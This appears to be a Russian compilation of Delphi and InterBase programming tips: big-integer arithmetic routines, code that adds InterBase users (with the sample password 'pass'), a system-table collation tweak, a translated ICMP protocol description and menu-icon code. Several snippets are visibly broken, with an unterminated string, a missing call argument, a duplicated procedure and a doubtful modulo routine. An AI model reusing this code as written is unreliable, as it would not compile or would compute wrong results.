   B_IsNeg := HugeInt_IsNeg(b);
   if A_IsNeg then
     HugeInt_Min(a);
   if B_IsNeg then
     HugeInt_Min(b);
   if HugeInt_Comp(a, b) < 0 then
     { a<b; нет необходимости деления }
     FillChar(R, SizeOf(R), 0)
   else
   begin
     FillChar(R, SizeOf(R), 0);
     repeat
       Move(b, d, SizeOf(HugeInt));
       { сначала вычисляем количество перемещений (сдвигов) }
       MaxShifts := HugeInt_HCD(a) - HugeInt_HCD(b);
       s := 0;
       while (s <= MaxShifts) and (HugeInt_Comp(a, d) >= 0) do
       begin
         Inc(s);
         HugeInt_SHL(d, 1);
       end; { while }
       Dec(s);
       { Создаем новую копию b }
       Move(b, d, SizeOf(HugeInt));
       { Перемещаем (сдвигаем) d }
       HugeInt_ShL(d, S);
       { Для добавление используем e = -d, это быстрее чем вычитание d }
       Move(d, e, SizeOf(HugeInt));
       HugeInt_Min(e);
       Q := 0;
       { пока a >= d вычисляем a := a+-d и приращиваем Q}
       while HugeInt_Comp(a, d) >= 0 do
       begin
         HugeInt_Add(a, e, a);
         Inc(Q);
       end; { while }
       { Упс!, слишком много вычитаний; коррекция }
       if HugeInt_IsNeg(a) then
       begin
         HugeInt_Add(a, d, a);
         Dec(Q);
       end; { if }
       HugeInt_SHL(R, 1);
       R[0] := Q;
     until HugeInt_Comp(a, b) < 0;
     if A_IsNeg xor B_IsNeg then
       HugeInt_Min(R);
   end; { else }
 end; { HugeInt_Div }
 
 procedure HugeInt_DivMod100(var a: HugeInt; var R: Integer);
 { 256-тиричное деление - работает только с
 
 положительными числами: R := a mod 100; a:= a div 100; }
 var
 
   Q: HugeInt;
   S: Integer;
 begin
 
   R := 0;
   FillChar(Q, SizeOf(Q), 0);
   S := HugeInt_HCD(a);
   repeat
     r := 256 * R + a[S];
     HugeInt_SHL(Q, 1);
     Q[0] := R div 100;
     R := R mod 100;
     Dec(S);
   until S < 0;
   Move(Q, a, SizeOf(Q));
 end; { HugeInt_DivMod100 }
 
 procedure HugeInt_Div(a, b: HugeInt; var R: HugeInt);
 begin
 
   HugeInt_DivMod(a, b, R);
 end; { HugeInt_Div }
 
 procedure HugeInt_Mod(a, b: HugeInt; var R: HugeInt);
 begin
 
   HugeInt_DivMod(a, b, R);
   Move(a, R, SizeOf(HugeInt));
 end; { HugeInt_Mod }
 
 procedure HugeInt2String(a: HugeInt; var S: string);
 
   function Str100(i: Integer): string;
   begin
     Str100 := Chr(i div 10 + Ord('0')) + Chr(i mod 10 + Ord('0'));
   end; { Str100 }
 var
 
   R: Integer;
   Is_Neg: Boolean;
 begin
 
   S := '';
   Is_Neg := HugeInt_IsNeg(a);
   if Is_Neg then
     HugeInt_Min(a);
   repeat
     HugeInt_DivMod100(a, R);
     Insert(Str100(R), S, 1);
   until HugeInt_Zero(a) or (Length(S) = 254);
   while (Length(S) > 1) and (S[1] = '0') do
     Delete(S, 1, 1);
   if Is_Neg then
     Insert('-', S, 1);
 end; { HugeInt2String }
 
 procedure String_DivMod256(var S: string; var R: Integer);
 { 10(00)-тиричное деление - работает только с
 
 положительными числами: R := S mod 256; S := S div 256 }
 var
   Q: string;
 begin
 
   FillChar(Q, SizeOf(Q), 0);
   R := 0;
   while S <> '' do
   begin
     R := 10 * R + Ord(S[1]) - Ord('0');
     Delete(S, 1, 1);
     Q := Q + Chr(R div 256 + Ord('0'));
     R := R mod 256;
   end; { while }
   while (Q <> '') and (Q[1] = '0') do
     Delete(Q, 1, 1);
   S := Q;
 end; { String_DivMod256 }
 
 procedure String2HugeInt(AString: string; var a: HugeInt);
 var
 
   i, h: Integer;
   Is_Neg: Boolean;
 begin
 
   if AString = '' then
     AString := '0';
   Is_Neg := AString[1] = '-';
   if Is_Neg then
     Delete(Astring, 1, 1);
   i := 0;
   while (AString <> '') and (i <= HugeIntMSB) do
   begin
     String_DivMod256(AString, h);
     a[i] := h;
     Inc(i);
   end; { while }
   if Is_Neg then
     HugeInt_Min(a);
 end; { String2HugeInt }
 
 procedure Integer2HugeInt(AInteger: Integer; var a: HugeInt);
 var
   Is_Neg: Boolean;
 begin
 
   Is_Neg := AInteger < 0;
   if Is_Neg then
     AInteger := -AInteger;
   FillChar(a, SizeOf(HugeInt), 0);
   Move(AInteger, a, SizeOf(Integer));
   if Is_Neg then
     HugeInt_Min(a);
 end; { Integer2HugeInt }
 
 end.
 




Установка Interbase и добавление пользователя

Автор: Denis Alexandrovich Ivanov

- Чем схожи занимающийся сексом и юзер?
- И тот и другой входят и выходят.
- А кто при этом получает удовольствие?
- Скорее всего первый и Билл Гейтс.

Как сделать инсталятор, который прописывал бы пользователя в Interbase? BDE при этом не нужна совсем.

1. При помощи InstallShieldExpress формируется проект, который включает в себя установку Interbase Server.
2. После установки Interbase запускаешь программу, написанную на Delphi 6, которая добавляет нового пользователя Interbase


 (************************************************************************
 Проект       : ....
 Автор        : Иванов Д.А.
 Назначение   : Выжимки из библиотеки функций для работы со справочником
                пользователей
                Note: You must install InterBase 6 to use this feature.
 Дата создания: 11.13.2002
 История      :
 ************************************************************************)
 unit usr;
 interface
 uses IBCustomDataSet,IBDataBase,IBServices;
 type
   TUsrInfo = record
     Usr:string ; //login
     Uid:integer; //уникальный идентификатор, если программа ведет
                  //справочник пользователей в своей БД - его можно
                  //брать оттуда по секвенции
     Grp:integer; //Group
     Pas:string ; //password
   end;
 
   TUsrClass = class(TObject)
   private
     { Private declarations }
   public
     UsrData:TUsrInfo;
     dbSec  :TIBSecurityService;
     // добавляет или редактирует пользователя в Interbase
     function UpdateUser: string;
   end;
 
   TUsrLib = class(TUsrClass)
   private
     { Private declarations }
   public
     procedure AddNewUserToInterbase;
   end;
 
 var
   clUsr:TUsrLib;
 
 implementation
 uses SysUtils,Controls,db,windows,QDialogs;
 
 (***************** Добавляет или редактирует пользователя ***************)
 function TUsrClass.UpdateUser: string;
                                //Usrid = 0 - новый пользователь
   var Edes:string; //Описание ошибок
 begin
   try
     if UsrData.Usr = '' then Edes:= 'не указан login пользователя';
     if UsrData.Uid = 0  then Edes:= 'не указан id пользователя';
     if UsrData.Grp = 0  then Edes:= 'не
     if UsrData.Pas = '' then Edes:= 'не указан пароль пользователя';
     if EDes < >  '' then raise Exception.Create(Edes);
     //Добавляем пользователя в interbase
     with dbSec do begin
       if not Active then Active := True;
       UserName  := UsrData.Usr;
       UserID    := UsrData.Uid;
       GroupID   := UsrData.Grp;
       Password  := UsrData.Pas;
       try
         DisplayUser(UserName);
         if UserInfo[0] = nil then AddUser else ModifyUser;
       except
         Edes:='Ошибка добавления пользователя в interbase security';
         raise Exception.Create(Edes);
       end;
       //раздача если нужно права доступа пользователя на таблицы
       (* EDes:= GrantData(UsrData.Usr);
          if EDes < >  '' then raise Exception.Create(Edes);
       *)
     end;
   except
     if EDes = '' then EDes:= 'Ошибка добавления пользователя в interbase security';
   end;
   Result:= EDes;
 end;
 
 procedure TUsrLib.AddNewUserToInterbase;
   var Edes:string; //Описание ошибок
 begin
   UsrData.Usr := 'ida' ;
   UsrData.Uid := 123   ;
   UsrData.Grp := 1     ;
   UsrData.Pas := 'pass';
   EDes:= UpdateUser;
   if EDes < >  '' then raise Exception.Create(Edes);
 end;
 
 begin
   clUsr:=TUsrLib.Create;
 end.
 

Установку Interbase 6.0 я пробовал делать двумя системами создания инсталляций:

- InstallShield
- Wise Install Builder.

Для обоих использовал готовые скрипты с сайта http://ibinstall.defined.net/. По результатам могу сказать, что Wise удобнее и проще в инсталляции. Кроме того у него есть текстовый редактор скрипта, что нашему брату шибко нравится. Установка и запуск IBGuard проходит как и в фирменном варианте сразу (Silent Install).




Как заставить Interbase принять COLLATE PXW_CYRL по умолчанию

Автор: Nomadic

(Это очень полезно при прямой работе с IB из различного CASE-инструментария, типа PowerDesigner или ErWIN)

Чтобы не писать каждый раз COLLATE, я сделал следующее:

  1. Создал сохранённую процедуру
    create procedure fix_character_sets
     as
     begin
     update
     rdb$character_sets
     set
     rdb$default_collate_name = 'PXW_CYRL'
     where
     rdb$character_set_name = 'WIN1251'
     and
     rdb$default_collate_name = 'WIN1251'
     ;
     end
  2. Запустил ее один раз.

  3. Создаю таблицы без указания COLLATE.

  4. После восстановления из архива, запускаю еще раз.



Описание протокола ICMP (Internet Control Message Protocol)

- Мыкола, ты слыхал, як москали ICMP-пакеты называють?
- Як?
- Пинги!..

Протокол Internet (IP) используется для обработки датаграммы, передаваемой между хост-компьютерами в системе объединенных сетей, называемой Catenet. Устройства, осуществляющие соединение различных сетей, называются шлюзами. Для обеспечения управления шлюзы общаются друг с другом посредством протокола Gateway to Gateway Protocol (GGP). Порой шлюз или хост-компьютер, получающий данные, обменивается информацией с хост-компьютером, отправляющим эти данные. Именно для таких целей используется данный протокол - протокол контрольных сообщений Internet (ICMP). ICMP использует основные свойства протокола Internet (IP), как если бы ICMP являлся протоколом более высокого уровня. Однако фактически ICMP является составной частью протокола Internet и должен являться составной частью каждого модуля IP.

Сообщения ICMP должны отправляться в некоторых затруднительных ситуациях. Например, когда датаграмма не может достичь своего адресата, когда шлюз не имеет достаточно места в своем буфере для передачи какой-либо датаграммы, или когда шлюз приказывает хост-компьютеру отправлять информацию по более короткому маршруту.

Протокол Internet не создан для того, чтобы обеспечивать абсолютную надежность передачи информации. Целью же данных контрольных сообщений является обеспечение обратной связи, оповещение отправителя данных о проблемах, возникающих в коммуникационном оборудовании. Их целью не является придание надежности протоколу IP. Протокол не дает гарантий, что датаграмма достигает своего адресата или что контрольное сообщение будет возвращено компьютеру, отправившему данные. Некоторые из датаграмм могут исчезнуть в сети, не вызвав при этом ни каких оповещений. Протоколы более высокого уровня, использующие протокол IP, должны применять свои собственные процедуры для обеспечения надежности передачи данных, если таковая требуется.

Сообщения ICMP протокола, как правило, оповещают об ошибках, возникающих при обработке датаграмм. Чтобы проблемы с передачей сообщений не вызывали появление новых сообщений, чтобы это в свою очередь не привело к лавинообразному росту количества сообщений, циркулирующих в сети, констатируется, что нельзя посылать сообщения о сообщениях. Также констатируется, что ICMP сообщения можно посылать только о проблемах, возникающих при обработке нулевого фрагмента в сегментированной датаграмме (нулевой фрагмент имеет нуль в поле смещения фрагмента).

Форматы сообщений

ICMP сообщения посылаются с помощью стандартного IP заголовка. Первый октет в поле данных датаграммы - это поле типа ICMP сообщения. Значение этого поля определяет формат всех остальных данных в датаграмме. Любое поле, которое помечено "unused", зарегистрировано для последующих разработок и должно при отправлении содержать нули. Однако получатель не должен использовать значения этих полей (за исключением процедуры вычисления контрольной суммы). Если обратное особо не оговорено при описании отдельных фрагментов, Internet заголовок должен иметь в своих полях следующие значения:

Версия
4


IHL
Длина Internet заголовка; единица измерения - 32-битное слово.
Тип сервиса
0


Общая длина
Длина Internet заголовка и поля данных в октетах.
Идентификация, флаги, смещение фрагмента
Используются в случае фрагментации
Время жизни
Время жизни в секундах. Поскольку значение этого поля уменьшается на единицу в каждой машине, на которой обрабатывается данная датаграмма, то значение этого поля должно, по крайней мере, превышать количество шлюзов, через которые будет проходить данная датаграмма.

Протокол
ICMP=1
Контрольная сумма заголовка
16-битное дополнение до единицы суммы дополнений до единицы всех 16-битных слов в заголовке. При вычислении данной суммы следует первоначально устанавливать значение этого поля в нуль.
В дальнейшем этот алгоритм вычисления контрольной суммы должен быть изменен.
Адрес отправления
Адрес шлюза или хост-компьютера, который составил данное ICMP сообщение. Если не оговорено обратное, в этом поле может находиться любой из адресов шлюза.
Адрес получателя
Адрес шлюза или хост-компьютера, которому следует послать данное сообщение.


Сообщение о недостижимости порта

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
Тип Код Контрольная сумма
не используется
Internet заголовок + 64 бита данных из исходной датаграммы


Поля Internet протокола:
Адрес получателя
Локальная сеть и адрес компьютера, отправившего исходную датаграмму


Поля ICMP протокола
Тип
3


Код0 невозможно передать датаграмму на локальную сеть, где находится адресат
1 невозможно передать датаграмму на хост-компьютер, являющийся адресатом
2 нельзя воспользоваться указанным протоколом
3 нельзя передать данные на указанный порт
4 для передачи датаграммы по сети требуется фрагментация, однако выставлен флаг DF.
5 сбой в маршрутизации при отправлении


Контрольная сумма

Контрольная сумма является 16-битным дополнением до единицы суммы дополнений октетов в полях ICMP сообщения, начиная с поля типа ICMP. Для вычисления контрольной суммы первоначально значение этого поля обнуляется. В будущем процедура вычисления контрольной суммы может быть изменена.

Internet заголовок + 64 бита данных из исходной датаграммы
Данное поле содержит Internet заголовок и первые 64 бита данных из исходной датаграммы для выработки сообщения для соответствующего процесса. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера находятся в первых 64 битах поля данных.

Описание

Если, согласно информации в таблицах маршрутизации шлюза, локальная сеть, указанная в Internet заголовке датаграммы в поле адресата, является недостижимой, например, из-за ее чрезмерной удаленности, то шлюз может послать хост-компьютеру, отправившему датаграмму по Internet сети, сообщение о недостижимости адресата.

Кроме этого, в некоторых сетях шлюз может иметь возможность определять доступность отдельного хост-компьютера. Шлюз в такой сети может послать данное сообщение, если хост-компьютер, являющийся адресатом, недоступен.

Иная ситуация возникает, когда для достижения адресата датаграмма должна быть разбита шлюзом на отдельные фрагменты, но установлен флаг запрета фрагментации. О этом случае шлюз обязан ликвидировать датаграмму и может при этом послать сообщение о недостижимости адресата.

Шлюз может послать сообщения с кодами 0, 1, 4 и 5. Хост-компьютер может послать сообщения с кодами 2 и 3.

Сообщение о превышении контрольного времени

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
Тип Код Контрольная сумма
не используется
Internet заголовок + 64 бита данных из исходной датаграммы

Поля IP заголовка
Заимствованы сеть и адрес отправителя из исходной датаграммы с данными. Поля ICMP сообщения
Тип
11

Код0 при передаче превышено время жизни
1 превышено контрольное время при сборке фрагментов датаграммы

Контрольная сумма Контрольная сумма является 16-битным дополнением до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP.

При вычислении суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм контрольной суммы может быть изменен.

Internet заголовок + 64 бита данных из исходной датаграммы
Internet заголовок плюс первые 64 бита данных из исходной датаграммы. Эти биты данных используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных в исходной датаграмме.

Описание

Если фрагмент нулевого размера превысил контрольное время, то сообщение в этом не посылается вовсе.

Шлюз может послать сообщение с кодом 0, а хост - с кодом 1.

Сообщение о проблемах с параметром

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
Тип Код Контрольная сумма
указатель не используется
Internet заголовок + 64 бита данных из исходной датаграммы

Поля IP заголовка
Заимствованы сеть и адрес отправителя из исходной датаграммы с данными. Поля ICMP сообщения
Тип
12

Код
0 - указатель показывает ошибку

Контрольная сумма
Контрольная сумма является 16-битным дополнением до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP.

При вычислении суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен.

Указатель
Если код = 0, то он указывает на октет, где была обнаружена ошибка.
Internet заголовок + 64 бита данных из исходной датаграммы
Эти биты данных используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных в исходной датаграмме.

Описание
Если шлюз или хост-компьютер, обрабатывающий датаграмму, обнаруживает проблему с обработкой параметров заголовка, и это не позволяет завершить ее обработку, то он должен ликвидировать рассматриваемую датаграмму. Одной из потенциальных причин такой неприятности могут бить неправильные аргументы в опции. Шлюз или хост-компьютер в сообщении о проблеме с параметрами может также упомянуть хост-компьютер, породивший датаграмму с ошибкой. Сообщения такого типа посылаются лишь в том случае, если ошибка приводит к ликвидации этой датаграммы.

Указатель определяет октет в заголовке исходной датаграммы, где была обнаружена ошибка (этот ошибочный октет может находиться даже посередине опции). Например, 1 указывает на то, что имеется какая-то ошибка в поле типа сервиса, а (если имеются опции) 20 определяет, что имеется ошибка в коде типа для первой опции. Код 0 сообщения может приходить как от шлюза, так и от хост-компьютера.

Сообщение для приостановки отправителя

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
Тип Код Контрольная сумма
не используется
Internet заголовок + 64 бита данных из исходной датаграммы

Поля IP заголовка
Заимствованы сеть и адрес отправителя из исходной датаграммы с данными.

Поля ICMP сообщения
Тип
4

Код
0

Контрольная сумма

Контрольная сумма является 16-битным дополнением до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP. При вычислении контрольной суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен.
Internet заголовок + 64 бита данных из исходной датаграммы
Internet заголовок плюс первые 64 бита данных из исходной датаграммы. Эти данные используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных исходной датаграммы.

Описание
Шлюз может ликвидировать Internet датаграммы, если у него нет места в буфере для постановки этих датаграмм в очередь на от правление в очередную сеть по маршруту следования к адресату.

Если шлюз ликвидирует датаграмму, то он должен послать сообщение для приостановки хост-компьютеру в Internet системе, отправившему данную датаграмму. Сообщение о приостановке может послать также сам адресат, если датаграммы приходят слишком быстро, чтобы успеть их обработать. Сообщение о приостановке является за просом для хост-компьютера уменьшить скорость посылки данных на этот конкретный адрес. Шлюз может посылать сообщение для при остановки отправителя в каждом случае ликвидации. При получении такого сообщения хост-компьютер, отправивший данные, должен уменьшить скорость посылки данных по этому адресу до тех пор, пока не перестанут приходить запросы на приостановку с данного шлюза. После этого хост-компьютер, отправляющий данные, может постепенно увеличивать скорость посылки данных по этому адресу, пока вновь не станут приходить сообщения о приостановке.

Шлюз или хост-компьютер может посылать сообщение о приостановке еще до достижения предельной пропускной способности, и не ждать, пока этот предел будет пройден. Это означает, что датаграмма с данными, вызвавшая появление сообщения о приостановке, все же может достичь своего адресата. И шлюз и хост-компьютер могут отправить сообщение с кодом 0.

Сообщение о переадресации

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
Тип Код Контрольная сумма
Internet адрес шлюза
Internet заголовок + 64 бита данных из исходной датаграммы

Поля IP заголовка
Заимствованы сеть и адрес отправителя из исходной датаграммы с данными.

Поля ICMP сообщения
Тип
5

Код0 - переадресация датаграмм для сети
1 - переадресация датаграмм для хост-компьютера
2 - переадресация датаграмм для типа услуг и сети
3 - переадресация датаграмм для типа услуг и хост-компьютера

Контрольная сумма
Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP. При вычислении контрольной суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен.

Internet адрес шлюза
Адрес шлюза, на который должен быть проложен маршрут к сети, указанной в поле адреса в исходной датаграмме с данными.

Internet заголовок + 64 бита данных из исходной датаграммы
Internet заголовок плюс первые 64 бита данных из исходной датаграммы. Эти данные используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных исход ной датаграммы.

Описание
Шлюз посылает сообщение на хост-компьютер о переадресации в следующей ситуации: Шлюз G1 получает Internet датаграмму от хост-компьютера в сети, где он расположен. Шлюз G1 проверяет таблицу маршрутизации и находит адрес следующего шлюза G2 в качестве маршрута для датаграммы по пути в сеть X, где расположен ее адресат. Если G2 и исходный хост-компьютер идентифицируются Internet адресом как находящиеся в одной и той же сети, то на хост-компьютер следует послать сообщение о переадресации. Сообщение о переадресации заставляет хост-компьютер посылать датаграммы для сети X прямо на шлюз G2, поскольку это более короткий путь, нежели привлекать еще шлюз G1. Шлюз передает данные исходной датаграммы их адресату в системе Internet.

Для датаграмм с опциями IP маршрутизации отправления и адресом шлюза в поле получателя сообщение не посылается, даже если и существует более оптимальный маршрут к конечному адресату, чем следующий адрес, указанный в такой опции маршрута.

Шлюзом могут быть переданы сообщения с кодами 0, 1, 2 и 3.

Эхо-сообщение и сообщение в ответ на эхо

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
Тип Код Контрольная сумма
Идентификатор Номер очереди
Данные .....

Поля IP заголовка
Адреса
Адрес отправителя в эхо-сообщении будет адресом получателя в ответном сообщении. Чтобы сформировать сообщение ответа, следует просто переставить местами адреса отправителя и получателя, код типа изменить на 0 и пересчитать контрольную сумму.

Поля ICMP сообщения
Тип8 - эхо-сообщение
0 - сообщение в ответ на эхо

Код
0

Контрольная сумма
Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений для ICMP сообщения, начиная с поля типа ICMP.

При вычислении контрольной суммы это поле должно быть сперва обнулено. Если общая длина сообщения нечетная, то для вычисления контрольной суммы поле данных дополняется еще одним нулевым октетом. В будущем алгоритм вычисления контрольной суммы может быть изменен.

Идентификатор
Если код = 0, то идентификатор для соотнесения эхо-сообщений и ответов на них, должен быть обнулен.

Номер очереди
Если код = 0, то номер очереди, служащий для соотнесения эхо-сообщений и ответов на них, должен быть обнулен.

Описание
Данные из эхо-сообщения должны быть переданы в ответе на это сообщение.

Идентификатор и номер очереди может использоваться отправителем эхо-сообщения с целью идентификации приходящих пакетов. На пример, идентификатор может использоваться в качестве порта подобно протоколам TCP и UDP для идентификации сеанса. Номер очереди может увеличиваться на единицу при посылке каждого эхо сообщения (запроса). Компьютер, отозвавшийся на это сообщение, возвращает в своем ответе те же значения для идентификатора и номера очереди, что были в исходном эхо-сообщении.

Как шлюз, так и хост-компьютер могут возвращать сообщение с кодом 0.

Сообщение со штампом времени и сообщение с ответом на штамп времени

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
Тип Код Контрольная сумма
Идентификатор Номер очереди
Штамп времени отправления
Штамп времени получения
Штамп времени передачи

Поля IP заголовка
Адреса

Адрес отправителя в сообщении со штампом времени будет адресом получателя в сообщении с ответом. Чтобы сформировать ответ на сообщение, следует просто поменять местами адреса отправителя и получателя, выбрать код типа 14, а также пересчитать контрольную сумму.
Поля ICMP сообщения
Тип13 для сообщения со штампом времени
14 для ответа на сообщение со штампом времени


Код
0

Контрольная сумма
Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений для ICMP сообщения, начиная с поля типа ICMP.

При вычислении контрольной суммы это поле должно быть сперва обнулено. В будущем алгоритм вычисления контрольной суммы может быть изменен.

Идентификатор
Если код = 0, то идентификатор, служащий для соотнесения сообщений со штампом времени и ответов на них, должен быть обнулен.

Номер очереди
Если код = 0, то номер очереди, служащий для соотнесения сообщений со штампом времени и ответов на них, должен быть обнулен.

Описание
Данные из сообщения (штамп времени) возвращаются вместе с ответом, при этом в них добавляется еще один штамп времени. Штамп времени - это 32 бита, где записано время в миллисекундах, прошедшее после полуночи по единому времени (UT). Один из примеров использования таких временных штампов приведен в документе.

Штамп времени отправления - это время, которое отправитель фиксировал последний раз перед посылкой сообщения. Штамп времени получения - это время, когда исходное сообщение впервые увидел получатель первоначального сообщения. Штамп времени передачи - это время, которое фиксировал в последний раз компьютер, отправляющий ответное сообщение.

Если нет возможности измерять время в миллисекундах или нельзя определить единое время (UT), то в штамп все же можно занести имеющееся время, снабдив его единицей в старшем бите. Последнее также указывает на запись нестандартного значения в этом поле.

Идентификатор и номер очереди могут использоваться отправителем для соотнесения сообщений (запросов) и ответов на них. На пример, идентификатор может использоваться в качестве порта, аналогично протоколам TCP и UDP, для идентификации сессии. Номер очереди может увеличиваться на единицу при каждой посылке сообщения (запроса). Адресат возвращает для этих параметров те значения, которые были обнаружены в запросе. И шлюз и хост-компьютер могут возвращать сообщения с кодом 0.

Запрос информации и ответное сообщение с информацией

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
Тип Код Контрольная сумма
Идентификатор Номер очереди

Поля IP заголовка
Адреса
Адрес отправителя в сообщении с запросом информации окажется адресом получателя в ответном сообщении с информацией. Чтобы сформировать ответное сообщение, следует просто поменять местами адреса отправителя и получателя, код типа сменить на 16, пересчитать контрольную сумму.

Поля ICMP сообщения
Тип15 - сообщение с запросом информации
16 - ответное сообщение с информацией

Код
0

Контрольная сумма
Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений для ICMP сообщения, начиная с поля типа ICMP. При вычислении контрольной суммы следует предварительно обнулить поле самой контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен.

Идентификатор
Если код = 0, то идентификатор, служащий для соотнесения запросов и ответов, может быть обнулен.

Номер очереди
Если код = 0, то номер очереди, служащий для соотнесения запросов и ответов, может быть обнулен.

Описание
Данное сообщение может быть послано, когда в IP заголовке в полях отправителя и получателя записаны нули (это означает "именно эту" локальную сеть). В ответ должен быть послан IP модуль с полностью заданными адресами. Данное сообщение является способом, с помощью которого хост-компьютер сможет определить номер сети, куда он подключен.

Отправитель сообщений может использовать идентификатор и номер очереди для соотнесения запросов и пришедших ответов. Например, идентификатор может использоваться как порт в протоколах TCP и UDP для идентификации сеанса. Номер очереди может увеличиваться на единицу всякий раз, когда посылается запрос. Адресат возвращает в ответе те же значения этих параметров, которые были обнаружены в запросе.

И хост-компьютер и шлюз могут возвращать сообщения с кодом 0.

Список типов сообщений:

0 ответ на запрос эхо
3 адресат недостижим
4 приостановка отправителя
5 переадресация
8 эхо-запрос
11 превышение контрольного времени
12 проблемы с параметрами
13 штамп времени
14 ответ на запрос штампа времени
15 запрос информации
16 ответ на запрос информации




Иконки в PopupMenu


 type
 
   TForm1 = class(TForm)
     MainMenu1: TMainMenu;
     File1: TMenuItem;
     // * * * * Элемент для Menu Bar * * * * /
       Open1: TMenuItem;
     // * * * * Элемент для Menu file * * * * /
       procedure FormCreate(Sender: TObject);
     procedure FormShow(Sender: TObject);
   private
     {private declarations}
   public
     {public declarations}
     Icn, Txt, MnuItm: TBitmap;
   end;
 
 procedure TForm2.FormCreate(Sender: TObject);
 var
   R: TRect;
 
   HIcn: HIcon;
   Ic: TIcon;
   Index: Word;
   FileName: PChar;
 begin
 
   // * * Получаем иконку определенного приложения * * /
     Ic := TIcon.Create;
   Ic.Handle := ExtractAssociatedIcon(Hinstance, // * задаем путь и имя файла * /
     , Index);
   // * * Создаем для текста изображение * * /
     Txt := TBitmap.Create;
   with Txt do
   begin
     Width := Canvas.TextWidth(' Тест');
     Height := Canvas.TextHeight(' Тест');
     Canvas.TextOut(0, 0, ' Тест');
   end;
 
   // * * Копируем иконку в bitmap для изменения его размера.
     Вы не можете менять размер иконки * * /
     Icn := TBitmap.Create;
   with Icn do
   begin
     Width := 32;
     Height := 32;
     Brush.Color := clBtnFace;
     Canvas.Draw(0, 0, Ic);
   end;
 
   // * * Создаем окончательное изображение, куда мы помещаем иконку и текст * * /
     MnuItm := TBitmap.Create;
   with MnuItm do
   begin
     Width := Txt.Width + 18;
     Height := 18;
     with Canvas do
     begin
       Brush.Color := clBtnFace;
       Pen.Color := clBtnFace;
       Brush.Style := bsSolid;
       Rectangle(0, 0, Width, Height);
       CopyMode := cmSrcAnd;
       StretchDraw(Rect(0, 0, 16, 16), Icn);
       CopyMode := cmSrcAnd;
       Draw(16, 8 - (Txt.Height div 2), Txt);
     end;
   end;
 end;
 
 procedure TForm2.FormShow(Sender: TObject);
 var
 
   ItemInfo: TMenuItemInfo;
   hBmp1: THandle;
 begin
 
   HBmp1 := MnuItm.Handle;
   with ItemInfo do
   begin
     cbSize := SizeOf(ItemInfo);
     fMask := MIIM_TYPE;
     fType := MFT_BITMAP;
     dwTypeData := PChar(MakeLong(hBmp1, 0));
   end;
 
   // * * Заменяем MenuItem Open1 законченным изображением * *
     SetMenuItemInfo(GetSubMenu(MainMenu1.Handle, File1.MenuIndex),
       Open1.MenuIndex, true, ItemInfo);
 
 end;
 
 {
 В меню существуют некоторые проблемы масштабированием и палитрой иконки.
   Я также ищу лучшее решение, но это все, что я вам могу сейчас дать.
 
 Листинг был изменен для того, чтобы помещать иконки в "чЕкнутое"
   состояние меню(просто это делает Win95).Это позволяет вам иметь
   "чЕкнутое" и "нечЕкнутое" состояние.
 }
 
 unit Unit1;
 
 interface
 
 uses
 
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   Menus, ShellAPI;
 
 type
 
   TForm1 = class(TForm)
     MainMenu1: TMainMenu;
     File1: TMenuItem;
     Open1: TMenuItem;
     procedure FormCreate(Sender: TObject);
     procedure FormShow(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
     Icn, MnuItm: TBitmap;
   end;
 
 var
 
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 procedure TForm1.FormCreate(Sender: TObject);
 var
   R: TRect;
 
   HIcn: HIcon;
   Ic: TIcon;
   Index: Word;
 begin
 
   {     /** Получаем иконку некоторого приложения **/}
 
   Index := 0; { 11-я иконка в файле }
   Ic := TIcon.Create;
   Ic.Handle := ExtractAssociatedIcon(Hinstance,
     'c:\win95\system\shell32.dll', Index);
 
   {     /** Копируем иконку в bitmap для изменения его размера.
   Вы не можете менять размер иконки **/}
 
   Icn := TBitmap.Create;
 
   with Icn do
   begin
     Width := 32;
     Height := 32;
     Canvas.Brush.Color := clbtnface;
     Canvas.Draw(0, 0, Ic);
   end;
 
   {     /** Создаем окончательное изображение, куда мы помещаем иконку и текст **/}
 
   MnuItm := TBitmap.Create;
   with MnuItm do
   begin
     Width := 18;
     Height := 18;
     with Canvas do
     begin
       Brush.Color := clbtnface;
       Pen.Color := clbtnface;
